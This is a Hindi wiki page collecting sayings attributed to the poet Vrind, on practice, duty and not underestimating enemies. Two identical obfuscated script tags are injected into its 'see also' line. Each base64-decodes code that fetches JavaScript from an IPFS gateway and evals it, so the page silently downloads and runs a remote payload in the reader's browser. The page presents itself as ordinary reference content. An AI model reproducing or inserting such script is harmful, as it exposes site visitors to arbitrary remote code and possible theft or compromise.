वृंद के अनमोल वचन

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 09:54, 25 फ़रवरी 2017 का अवतरण ('<div style="float:right; width:98%; border:thin solid #aaaaaa; margin:10px"> {| width="98%" class="bharattable-purple" style="float:ri...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
वृंद के अनमोल वचन
  • अभ्यास करते करते जड़मति भी सुजान हो जाता है। रस्सी पर बार बार आने-जाने से पत्थर पर भी निशान बन जाता है।
  • तू निश्चित कर्म कर। कर्म न करने से कर्म करना श्रेष्ठ है और कर्म न करने से तेरे शरीर का निर्वाह होना भी कठिन हो जाएगा।
  • कार्य उसी का सिद्ध होता है जो समय को विचार कर कार्य करता है। वह खिलाड़ी कभी नहीं हारता जो दांव पर विचार कर खेलता है।
  • देखादेखी करत सब, नाहिंन तत्व बिचारि।

याकौ यह अनुमान है, भेड़ चाल संसार।।

  • अपने शत्रु को कभी छोटा मत समझो। देखो, तिनको के बड़े ढेर को आग की छोटी सी चिंगारी भस्म कर देती है।


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: अनमोल वचन, कहावत लोकोक्ति मुहावरे एवं सूक्ति और कहावत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



टीका टिप्पणी और संदर्भ


संबंधित लेख